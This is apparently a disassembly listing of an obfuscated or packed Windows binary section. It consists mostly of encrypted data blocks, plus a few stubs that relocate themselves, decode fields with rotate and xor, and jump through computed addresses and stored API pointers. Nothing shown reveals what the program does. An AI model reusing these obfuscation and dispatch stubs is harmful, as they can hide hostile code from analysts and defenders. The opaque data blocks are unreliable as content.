		dd 40897623h, 68FF829Ch, 31CE0E32h, 766F7F8Ah, 6AA34CB3h
		dd 31CE6EC4h, 9A6D4D8Ah, 8F30BF4Fh, 9238A34Ch, 6435B871h
		dd 31CE7BADh, 60DA7C87h, 0E52255B7h, 0F0B4F821h, 73CED85Eh
		dd 968595E8h, 1151229h,	2F52A00Ch, 4F0550h, 0FFDF0000h
		dd 0CE0E3268h, 46781746h, 12245F4Eh, 0F83F625h,	3002996h
		dd 0EF9E1DEh, 7ACE52E8h, 7CA55E8Ch, 85E396C5h, 0A3602996h
		dd 31CEAD93h, 0F967E89h, 0C7C4AE29h, 7A1F58FEh,	89AD607Dh
		dd 0E873CEB3h, 29968595h, 0F0011512h, 3Eh, 8D31CE50h, 67F06C82h
		dd 0EB26E109h, 8C73CE3Dh, 0C88BAB64h, 299685B5h, 0CE669A4Fh
		dd 0D87E8931h, 5E8CAD5Bh, 2C8F4873h, 2BDD14DDh,	0D97F46CEh
		dd 0B29F93DEh, 50A421FEh, 0D47A4A04h, 638C059Bh, 0B5E1368Dh
		dd 0B8716927h, 0B7968B81h, 1C354461h, 0EF79F1FAh, 0E9CD8EB3h
		dd 272F8F20h, 409C63A5h, 266E1613h, 45B81C8Ch, 6F7B5187h
		dd 0EAFFA880h, 0A25F97B7h, 1258CE7Ah, 9D0A7801h, 0C108F523h
		dd 0CD3C9F18h, 614F0C29h, 78299DCEh, 9A5F0A8Bh,	9C460079h
		dd 6E807D1Dh, 5F7D5E7Fh, 0B97029ACh, 6453B980h,	0FFE0E375h
		dd 0FFBEBF5Ch, 88341D9Bh, 0CC621F7Fh, 0B35A8362h, 5B807742h
		dd 0E07623AAh, 0F141C16Dh, 1AEDCD4Eh, 0E12A9493h, 0B39F6EECh
		dd 7ABF6AEBh, 46BEA0D9h, 0CE601DECh, 748B232Fh,	0BD2CC24Bh
		dd 9037ED20h, 12D7DE2Fh, 41D245A5h, 0EC46BE38h,	9601C8B5h
		dd 0EDBD237h, 25E009E8h, 0F7E32AB0h, 0D803D8F5h, 24EDBC31h
		dd 3DA01700h, 0E910C9CCh, 46BE4F2Ah, 3FCFCCECh,	0F7FE0FB0h
		dd 8EEh, 31CE5200h, 16D818Ch, 0AC658C43h, 6CA13E29h, 0AA5F7E69h
		dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah
		dd 0C14E7275h, 89501BCCh, 405E0h, 0BA520000h, 4, 875AD029h
		dd 525C2404h, 0C281E289h, 4, 8704EA83h,	895C2414h, 0AF68242Ch
		dd 89000074h, 0ACBD2434h, 0F723E743h, 3BA52DDh,	81750B72h
		dd 4272C6E2h, 8142426Eh, 0C511E5E2h, 3DC2816Ch,	31E88513h
		dd 0DDF75AD5h, 0A4A5F581h, 8B546962h, 0C4832434h, 468F5504h
		dd 2434FF08h, 4C4815Eh,	8B000000h, 8952242Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 0AEECE95Ch
		db 0F8h, 0FFh, 0F8h
; ---------------------------------------------------------------------------


loc_5E860F:				; CODE XREF: .XComp0:loc_5E7A36j
		mov	eax, 600CF95h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 59DB8880h, 367CF940h, 2DC613EAh, 5EA72F98h, 72B7E8E9h
		dd 334C4014h, 357B0FFAh, 2D1896Eh, 27FBD91Ah, 36A71156h
		dd 48681863h, 3741C84Ah, 1CB330E7h, 2BDC7BF5h, 3886C53Dh
		dd 76650CDCh, 6127317Ch, 45241B36h, 7F052A31h, 44C06F43h
		dd 0DE8h, 81E39500h, 72B95345h,	465D2035h, 0B70F740Ah
		dd 0BB6658C9h, 0C081C7C1h, 75E5h, 49BE25B1h, 0E900001Dh
		dd 5, 3AA1322Ah, 66108BA3h, 817C8EBBh, 6F3B98EAh, 16830F0Eh
		dd 0E9000000h, 11h, 0C337E483h,	51DEFF5Eh, 0C96D770Fh
		dd 147D7AE2h, 8DEA81AEh, 0F28BC8Ch, 68Dh, 4BE38100h, 815A6BCFh
		dd 0CB8040F2h, 528CB135h, 0EE9h, 0F4B48500h, 66A873Ch
		dd 6ECF2C72h, 8FBAC995h, 0DFC18100h, 83515B30h,	0EE8104E8h
		dd 1, 10850Fh, 27E90000h, 88000000h, 0FFB6A56Ch, 17444926h
		dd 0BB66DEAFh, 7AE909C3h, 0DFFFFFFFh, 3046F3DAh, 0A7FCBABAh
		dd 3BFEF5FEh, 0BE833E13h, 8D8D2742h, 600D201h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 41C35343h, 0A992995Fh
		dd 31959589h, 8D8905F9h, 5F90CDDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A0C35545h,	0EA3EC897h, 0C185C776h
		dd 6805F926h, 8B00005Ah, 0F90D599Dh, 0FD85C705h, 5F900h
		dd 0E9000000h, 0Ah, 0E538EC5Bh,	6FAA2E12h, 0B5FF58D3h
		dd 5F903D1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	7EC35040h, 0B380A3ADh, 0D595FFCFh, 8B05F920h, 0F91AE595h
		dd 0F9B52305h, 6A05F924h, 0ED95FF00h, 8B05F91Ah, 0C058EBC0h
		dd 3497ACC1h, 4661C18Fh, 3BAD4606h, 0EDEB3CB8h,	81687DA6h
		dd 2CEF99Ch, 42D42630h,	61BFED5h, 10254001h, 1F14ECB7h
		dd 0A2AE6D1Ah, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h
		dd 0FF1B9D17h, 488F45F5h, 5B4F7DF7h, 0E79AC0AEh, 0F1D4EBC5h
		dd 0A1CBDBABh, 0E88C7191h, 6, 0B7C260C3h, 0B866B52Eh, 0F95E6F84h
		dd 62F5C681h, 880F0000h, 5, 0D9E98166h,	68FBh, 0B520000h
		dd 0F9105585h, 535F5905h, 5BCFBF0Fh, 0B43E148Bh, 4EF28127h
		dd 66532744h, 0EA81C68Bh, 41535E3Dh, 25658589h,	0EA8105F9h
		dd 0A2237E7h, 0BE8h, 0CA97D200h, 0CECE0DD1h, 20A3C49h
		dd 0B55BD89h, 895905F9h, 0B9663E14h, 81660E85h,	81D8CFE1h
		dd 0A6EB84EFh, 81E58A52h, 0A6EB80C7h, 0D1BD2952h, 8105F90Dh
		dd 0FF9DA0FFh, 9D850FFFh, 81FFFFFFh, 3FC0A5EBh,	0CF8D8D08h
		dd 8B0600D3h, 0F9077185h, 0DD8D8905h, 6A05F90Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 31E1C357h, 49AE0214h, 0F7DA81DCh, 0C765C529h, 0F926C185h
		dd 5A4405h, 0FE800h, 0D19F0000h, 27E08h, 858FB8F4h, 283B3DBAh
		dd 95853124h, 5E05F92Ch, 0FD85C7h, 5F9h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 373C84C3h, 0E1EFB1ABh, 0FF71D3B6h, 0F91FA1B5h, 0CE805h
		dd 786B0000h, 3E5D48F5h, 4F75B0A5h, 870FCD63h, 6, 2DD9B589h
		dd 0FF5E05F9h, 0F920D595h, 9E905h, 5F190000h, 0E2BF461h
		dd 99B0ED6h, 0F92885BDh, 0FF006A05h, 0F91AED95h, 0EBC08B05h
		dd 86627218h, 0B8D62068h, 622B7811h, 9D46F645h,	0DA8FE7F4h
		dd 0AB8D4503h, 0D58D8DB7h, 6A0600D4h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6E1CC357h
		dd 1D1370E4h, 2E5D858Bh, 858B05F9h, 5F924C9h, 0CDD8D89h
		dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 4F9659C3h, 871517FAh, 958BB2ADh, 5F91E11h
		dd 26C185C7h, 6CA005F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 3C2F1C3h, 0F9164D9Dh
		dd 0B5858B05h, 0C705F91Eh, 0F900FD85h, 5, 65B5FF00h, 6605F934h
		dd 0AE31E381h, 20D595FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 4550B2C3h, 7FC7B8FCh
		dd 894E9D30h, 0F9280595h, 11958905h, 6A05F91Bh,	0ED95FF00h
		dd 8B05F91Ah, 531EEBC0h, 0CBF1F417h, 4830A457h,	6D92D50Eh
		dd 0B8ADEF6h, 44262098h, 12DCE2Ah, 0E0AD7D5Dh, 8E8DFh
		dd 75590000h, 8108BAAEh, 0BE9823Ch, 81000000h, 58A64EC2h
		dd 4CECCF9Ah, 0F5E94F5h, 1F8Fh,	19860F00h, 0E8000000h
		dd 13h,	68BE9A9h, 24C345F1h, 3E74AF2Dh,	32CA4EFEh, 588BF401h
		dd 5D43C681h, 8D8B0000h, 5F928A5h, 0DE9FF2Bh, 0AB000000h
		dd 0E54A2930h, 0B8BF506Ch, 824FAEB0h, 8B3734FFh, 0F911F98Dh
		dd 0B5895B05h, 5F918D9h, 48A2EB81h, 7E914EDh, 7D000000h
		dd 0AA2A486Ch, 0F3817243h, 3330A27Dh, 0C381D68Bh, 6FF1C8Ch
		dd 18870Fh, 8F0F0000h, 12h, 0DE9h, 30CB3C00h, 1890D789h
		dd 5476413Dh, 0E9535980h, 0Dh, 0DE2EDE72h, 6C2DFBB2h, 0BCA463D8h
		dd 3E048F86h, 29CA8B66h, 0F90A2995h, 0D2EF8105h, 89787927h
		dd 0F92E818Dh, 0CEC78105h, 56787927h, 68C0Fh, 958B0000h
		dd 5F91AC5h, 0B0FF8159h, 0FFFFFA3h, 0FFFF6785h,	9A8D8DFFh
		dd 8B0600D6h, 0F9144D85h, 0DD8D8905h, 0C705F90Ch, 0F926C185h
		dd 659005h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0AC1B0C63h, 0EEBFD691h, 0B70FF5BBh
		dd 0FD85C7D0h, 5F900h, 56000000h, 4ABB05BAh, 0B5FF5B0Bh
		dd 5F916DDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	66C35040h, 6C871EE0h, 0EE8FAh, 0A10B0000h, 2B14E851h
		dd 30176FEEh, 0D69FE965h, 5ED3B70Fh, 20D595FFh,	9D2905F9h
		dd 5F90475h, 95FF006Ah,	5F91AEDh, 4BEBC08Bh, 1659B264h
		dd 11784779h, 42EA02B8h, 469CB89Bh, 6120C96Bh, 0E471F77h
		dd 0C576C0FAh, 80629C74h, 74549A67h, 0E496CC4Dh, 58AF858h
		dd 8C175B06h, 0C72C8AD9h, 81CFBE3h, 5B1BF9C3h, 82DCBB2Ah
		dd 49D6E374h, 7A839A14h, 0C64D6034h, 0F9189985h, 0DF685605h
		dd 0FFA9C530h, 0F908D1B5h, 10858D05h, 0FF05FCC5h, 8D8D8DD0h
		dd 5105F914h, 0B5FF406Ah, 5F9008Dh, 71DB5FFh, 0D0FF05F9h
		dd 8DB5FFh, 0B5FF05F9h,	5F9071Dh, 0DE8h, 4BAB4100h, 6D4BF680h
		dd 0AD5AAE55h, 5B5B5AC7h, 0C104EB83h, 0C102242Ch, 3022424h
		dd 1CF7241Ch, 0BF24h, 34FF0000h, 0EA815A1Fh, 4F6BAF17h
		dd 0E8F6EA81h, 0C28148C7h, 328E3B60h, 3B048F52h, 61D8EF81h
		dd 0C78160B1h, 60B161D4h, 0F243C3Bh, 0FFFFD185h, 299D8DFFh
		dd 8B05F921h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0EE9C98Bh
		dd 6A000000h, 4B0D9Eh, 2 dup(0)
		dd 83BE900h, 0F4DB0000h, 0E000E71Dh, 0EA0D2Fh, 0D5F6E103h
		dd 1E90C30h, 0CD44DE06h, 23D92E8Eh, 4BF11AC4h, 14C841ACh
		dd 0DB010CB1h, 6A1340F9h, 0E72395AEh, 638CBE82h, 42CA6FAAh
		dd 1B560107h, 611C376Bh, 0DE29966Bh, 15D40D21h,	33C340AAh
		dd 1CBD18C4h, 0DA03E4E9h, 22E7C233h, 0EBD435E7h, 0CF8A0B02h
		dd 0E10FB03Fh, 3BD8F8A0h, 2995F942h, 8AEAC2BFh,	8409C0EAh
		dd 18F5DAE5h, 0C332C495h, 2558031Ah, 0DD2995ABh, 95AB3B3Eh
		dd 0DBCBB829h, 5F2E32Eh, 46FB26E9h, 95AB6415h, 16F3DA29h
		dd 0E10CF3B0h, 62F4A528h, 37231489h, 9635C277h,	8CA78273h
		dd 2995ABF1h, 4E9DB16Eh, 7D689C71h, 0CB76AB5Eh,	95ABED90h
		dd 99BD6A29h, 5E7D7A9Fh, 0DF6F2AABh, 0C02AAD10h, 4C557143h
		dd 8DAEF5CEh, 88665144h, 78615E83h, 51986F5Bh, 0BF126BA8h
		dd 928F2995h, 5784637Ch, 0A04027AEh, 739A7E6Fh,	6CA3B767h
		dd 0A447B07Eh, 6A9C7065h, 0B5F06769h, 8271854Ch, 0A173AE5Bh
		dd 0E0BC1C0Fh, 0A972A9BDh, 9AE821h, 2E0B25C9h, 4DE12C91h
		dd 15CC419Eh, 5B4E2FECh, 0DECB2996h, 5624AF38h,	0FB29965Bh
		dd 0D502E9D6h, 0CE9B12F5h, 0C614F303h, 2F776C00h, 5201384Dh
		dd 29964F27h, 0CB57F7A4h, 83h, 0CA45A916h, 638C0E24h, 798623AAh
		dd 0B396B853h, 299685C8h, 9239C66Bh, 0A762A545h, 0C46A7887h
		dd 797C933Bh, 0E7798EA0h, 0AF4D2F5Dh, 0CC62A348h, 150h
		dd 648CB200h, 0D49E76ABh, 9DEF11Fh, 1C1BC46Ah, 0CDB06BB4h
		dd 4A299619h, 1621945Dh, 0D05D50B5h, 2FFCD029h,	31B5DA67h
		dd 31DB9EBDh, 0AB582996h, 7E6E7C8Bh, 0EE149062h, 15087BCDh
		dd 0F8FF28DCh, 0D81737D8h, 0D4EB16F7h, 0FBAE1FE8h, 0CE3FE15Bh
		dd 787D8831h, 3ABB4A6Fh, 0E46FAA5Fh, 29968599h,	26C56916h
		dd 931F24C6h, 3C1CF67Ah, 3900F5h, 1D5F1A39h, 1FDC2996h
		dd 961D6914h, 1539E629h, 0A015FAD6h, 6DAE5304h,	29961E0Ch
		dd 1DE697C4h, 0A6632996h, 54B34340h, 82916806h,	29961DF7h
		dd 1DD9A4AFh, 0A9562996h, 47A64835h, 7B8832A3h,	0D9A4AF7Ah
		dd 5629961Dh, 73A960A9h, 49C42996h, 64A946A5h, 6A8A57BDh
		dd 6B4831E2h, 0D8C52996h, 0FE907F4h, 0D701E6FFh, 0E20AF52Ch
		dd 30D81125h, 0DAE589D5h, 12F717F4h, 4D2F20AEh,	0C944A916h
		dd 0C3F925h, 0BB440000h, 0DE54FA11h, 0CA4E46CEh, 0A9BC5307h
		dd 81866685h, 0C8737458h, 742C8E8Eh, 0BC1E09E2h, 0E0D74647h
		dd 35D2FAF2h, 5326350Ch, 0D02995FCh, 0CEF943D3h, 939419EEh
		dd 0D23ADF26h, 0A501E644h, 12DB7BAEh, 4F46C925h, 6B528568h
		dd 0B862539Eh, 0C7270551h, 5D944548h, 5B817EC3h, 933A3DB0h
		dd 4559BB76h, 8102EEFFh, 0B57A648h, 2F78513Bh, 745A654Dh
		dd 58116CA7h, 918E2996h, 7C6AB658h, 0BC000000h,	5875608Ch
		dd 9DFE1498h, 60A9533Fh, 0A5628A6Dh, 79B07930h,	0C1487374h
		dd 4732E118h, 0C4299622h, 88F122D7h, 5299622h, 2BEDF618h
		dd 0D6F6F6E4h, 79474014h, 0DA0F3A09h, 0D4FA0522h, 53E3B637h
		dd 0AB648CEDh, 55787F2Ah, 0CBAFA2B4h, 47299685h, 877065A4h
		dd 6632A362h, 9D6B331Fh, 0BE321442h, 864D2F5Dh,	0C4FF298Eh
		dd 0B2443D3Ah, 0A76h, 6843C900h, 2CC3F735h, 0CE7FB559h
		dd 797C8731h, 795F8EA0h, 0BB24038Ah, 86A5FD35h,	0C50CC2E6h
		dd 0E43BA31Ch, 95E34637h, 0BC6C329h, 0E35802EBh, 0E37CFD1Eh
		dd 27342995h, 2995E356h, 33F0D6D3h, 0F6F6E423h,	0ED0A2FD4h
		dd 7A7D20D0h, 33825B4Ch, 39DE58FEh, 4AEC21BEh, 0A752881Eh
		dd 8F94C66Ch, 0D6FAD92Fh, 0C349F039h, 0AC8069E7h, 3DC72F3h
		dd 0A752BB24h, 5459AA10h, 55B21A85h, 0CB658960h, 434AC32Ch
		dd 55B019A6h, 0E2658960h, 239CE395h, 6E5FAE0Fh,	0E3ED90CBh
		dd 0BD6A239Ch, 696C9942h, 623C2AE1h, 962BA196h,	0C935218Dh
		dd 6E7C8BABh, 78AC617Eh, 0D0A96A8Fh, 4D239C88h,	8E2FBE50h
		dd 805D5A7Fh, 0B980698Dh, 88AAD380h, 7A27239Ch,	23B815D4h
		dd 6BA851B8h, 239C8912h, 5657928Fh, 8B319BEh, 614A779Ch
		dd 0CF2EC9B5h, 3E43B8FDh, 0B564699Eh, 3F2BDA7Ch, 0A04B902Dh
		dd 7CB56469h, 77585FC8h, 0A44A1F96h, 0D6CF8D5Fh, 73A05948h
		dd 239CE80Ah, 0A8749A87h, 24Eh,	0EC8DCE73h, 69239CE7h
		dd 739A43BCh, 0B187A782h, 7E8931CEh, 0D08CA277h, 556FFF46h
		dd 41BE9598h, 0FA85188h, 0BC6D60AFh, 0E3739A43h, 8E9B1A70h
		dd 1754B82Fh, 0CCA022D8h, 4E74C5FDh, 0CC562BDh,	0A01512EAh
		dd 8FDDED9h, 0B342D485h, 8B13E60Ah, 0BDDF1302h,	30E9EC1Fh
		dd 30930F9h, 8699554Eh,	72BC5228h, 7EA36A53h, 92C15C81h
		dd 239C38E7h, 0DC72B764h, 52BB2403h, 5DAE10A7h,	746D8158h
		dd 0D6D537E0h, 9F70501Fh, 9387FD4Dh, 98568483h,	77C7B261h
		dd 5744239Ch, 449738B7h, 0B2676E97h, 9535C277h,	88AE7B72h
		dd 2E8389AEh, 6BD7B929h, 0BFDB3A4h, 0E68AADA9h,	0B826A4F7h
		dd 27C702E0h, 0D5990EE2h, 0F02BD648h, 239BB58Dh, 0BD30D703h
		dd 0E90DFAECh, 0C43Dh, 0D6F70000h, 0B5710C47h, 31EE239Bh
		dd 0FFE056F8h, 1F5A1865h, 0B9B2B357h, 9662DF9Ah, 6A9F5C29h
		dd 5D7D7A9Fh, 5C318F8Dh, 0F732033Ch, 0AD1FDA57h, 0EAC451E7h
		dd 0CF829406h, 0A995B68Eh, 0DDA0BB86h, 5AA995B6h, 0B47189ADh
		dd 0D6A7B48Dh, 53A995B6h, 8227C056h, 9CB25575h,	95B6D0A9h
		dd 33AA46A9h, 5D0C8188h, 0B8162194h, 51B86253h,	4AD03C05h
		dd 0BBADD5B9h, 9E191E76h, 0DC2BCB40h, 578B118Eh, 55B815A2h
		dd 74CD74C1h, 965D96E7h, 0F8E413A9h, 1134DA0Fh,	29965D48h
		dd 1F5AF940h, 9C29965Dh, 33FE11ADh, 0F32EDB23h,	10CB14Eh
		dd 965D87F2h, 0F7170429h, 0BC983Dh, 18E10000h, 965D82FBh
		dd 0EC02FF29h, 8B31CE46h, 64F26E80h, 0EB26DF0Ch, 865D2536h
		dd 3E032F8Fh, 84255803h, 0E5A2239Dh, 9D842356h,	53E3A023h
		dd 0FDF4E1ABh, 66F91E4Fh, 0A03D2AABh, 7F768D3Bh, 1ABD5FAAh
		dd 0AE5558B5h, 239CFAC6h, 3A322067h, 78C17895h,	9CF8A2DBh
		dd 0CC621F23h, 3A60F662h, 16D4F8FFh, 5260E155h,	0D0C50C81h
		dd 1B38F519h, 299E58FCh, 61A43B45h, 9FBB4BF3h, 0CC05CC3Bh
		dd 329720C9h, 0BB443D3h, 320F8B02h, 8272D3DAh, 1539B9C1h
		dd 0F167F8E6h, 41B45377h, 7F78A168h, 7029AC5Bh,	0FA851DEh
		dd 95B85EADh, 239E417Eh, 0A644A8C7h, 0E7FDC8A0h, 41884129h
		dd 73CE859Bh, 968595E8h, 1151229h, 72A7F365h, 975D32E1h
		dd 78E7B2Fh, 964EBF20h,	0E7F8E2Fh, 0A32C0F85h, 0A06F4F70h
		dd 77A44A2Dh, 882FA1DCh, 0A8611ED6h, 8AD8AF25h,	1F9861D4h
		dd 40BF4FBEh, 58B51A12h, 719C41A4h, 7A892FC8h, 0C0C10592h
		dd 3FCFE4D7h, 0BB18C1A6h, 0BF36FB12h, 3BAE261Bh, 66B6A78h
		dd 0AAB847E7h, 36CDFB04h, 0A544EABFh, 0DF269348h, 4BF63BEEh
		dd 261465F6h, 9491D688h, 0B00DB882h, 0B21BA45Dh, 6F7F5A5Bh
		dd 0A34CB376h, 5C84636Ah, 17D87EB3h, 15h, 0B1629762h, 0D68825C8h
		dd 0C2BB5845h, 3FD68825h, 0F86AC42h, 0AC658C39h, 6CA13E29h
		dd 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h
		dd 788B2D3Ah, 0C14E7275h, 89531BCCh, 4C381E3h, 83000000h
		dd 0FF5304EBh, 5B042474h, 5C24048Fh, 81E78957h,	4C7h, 4EF8300h
		dd 5C243C87h, 68243489h, 4841h,	53241489h, 0D7B1BBh, 0D8895006h
		dd 5B58C689h, 4EC81h, 24890000h
		dd 24048324h, 81565A04h, 478C2404h, 428F2DC8h, 8CBD5508h
		dd 292DC847h, 8B5D086Ah, 89532414h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 2434FF5Ch, 4C4835Eh, 0F89F25E9h, 0D8D231FFh
		dd 0DF65B8D9h, 0C5030600h, 0D0D6E0FFh, 26DD19E0h, 8D3D5D16h
		dd 64B46B56h, 0F92C1BAFh, 0F4C93CBAh, 17E35841h, 9795168Dh
		dd 34EC5269h, 8FF21D43h, 965925A5h, 72D6480Eh, 0CC373149h
		dd 0EB9517E8h, 0B06816C9h, 1869601Bh, 9E4A72E5h, 0F225463Eh
		dd 1A9275ADh, 0F25D2FAAh, 407061CCh, 3BB25508h,	828D2C73h
		dd 0A2622A6Ch, 0D8C73DCBh, 0A7896B05h, 0B88C5C39h, 366B184Dh
		dd 0D54F5C91h, 0BF794C7Eh, 1A1E4424h, 6DBE5D23h, 5FE907BCh
		dd 52000001h, 0E860D48Bh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 600E083h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5E97BD
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 4526D628h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+5F90CDDh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0F3C05C9Fh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+5F926C1h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+5F900FDh],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5E9781
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F903D1h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F93465h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F91FA1h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F91799h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F90FD9h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F9159Dh]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F932E9h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F92409h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F90751h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F916DDh]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F91771h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F913ADh]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F913D9h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F91091h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F92A69h]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F9275Dh]
		jmp	loc_5E9795
; ---------------------------------------------------------------------------


loc_5E9781:				; CODE XREF: .XComp0:005E96CCj
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+600E0E4h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5E9795:				; CODE XREF: .XComp0:005E96D7j
					; .XComp0:005E96E2j ...
		call	dword ptr [ebp+5F920D5h]
		pop	ebx


loc_5E979C:				; CODE XREF: .XComp0:005E97B5j
		mov	eax, [ebp+5F90CDDh]
		cmp	[eax+4], ebx
		jnz	loc_5E97BA
		push	ebx
		push	1
		call	dword ptr [ebp+5F91AEDh]
		pop	ebx
		jmp	loc_5E979C
; ---------------------------------------------------------------------------


loc_5E97BA:				; CODE XREF: .XComp0:005E97A5j
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5E97BD:				; CODE XREF: .XComp0:005E967Fj
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [ebp+5F90DCDh]
		lea	ecx, [ebp+600E1D2h]
		mov	[ecx+1], eax
		mov	eax, ebx
		jmp	loc_5E989C
; ---------------------------------------------------------------------------
		inc	esi
		mov	gs, [edx+459CD752h]
		retf	0C8C3h
; ---------------------------------------------------------------------------
		dw 0B6E1h
		dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h
		dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h,	7594A196h
		dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh
		dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h
		dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h
		dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h,	0ABF79B57h
		dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh
		dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h
		dd 47000000h, 0E3129D74h, 5E99E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E989C:				; CODE XREF: .XComp0:005E97D7j
		jmp	loc_5EB690
; ---------------------------------------------------------------------------
		push	600E4F5h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600E67Eh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600E7E5h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600E9ABh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600EA59h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600EB4Dh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600EC71h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600ED86h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600EE71h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600F06Ah
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600F1A7h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600F378h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600F4DBh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600F6E2h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600F8DCh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600FB72h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600FCEEh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 2Eh
		dd 1FC67E93h, 49AC50BFh, 15C0649Fh, 4CAB51B4h, 5FB567A0h
		dd 0B2557522h, 8A816B8Ah, 0C1487352h, 0FA13BC1Bh, 3CD7A042h
		dd 2395A241h, 6C6009BEh, 0D17FC1B2h, 85BB5BB1h,	6FAA638Ch
		dd 31A46588h, 6C0DD678h, 7F589268h, 36D8D84Ch, 45F716B7h
		dd 1AF1DBE4h, 3430C693h, 78C178A2h, 0D8E792C1h,	9A642995h
		dd 0BB47558Eh, 0E608C13Ch, 8F7EDF63h, 0E0D5D22Fh, 9D1B4633h
		dd 0A31C2523h, 0BF3ED037h, 3339B393h, 31FE48D6h, 48000000h
		dd 95E873CEh, 12299685h, 0F3650115h, 49E172A7h,	9F2F8F98h
		dd 5C51B218h, 9491698Dh, 73037221h, 2BE2239Dh, 4E95473Fh
		dd 4E5248D6h, 0B4000001h, 5778638Ch, 6D7A7BB6h,	787FBA4Dh
		dd 6742B354h, 645B1EC7h, 7483937Ch, 2ECBC24Bh, 853548D3h
		dd 0F5B22996h, 0E02D9261h, 0CC0D339h, 7D45B77Fh, 96159BDEh
		dd 0A66B1829h, 8B81A690h, 0C517E9D8h, 4CFF0F34h, 29961A17h
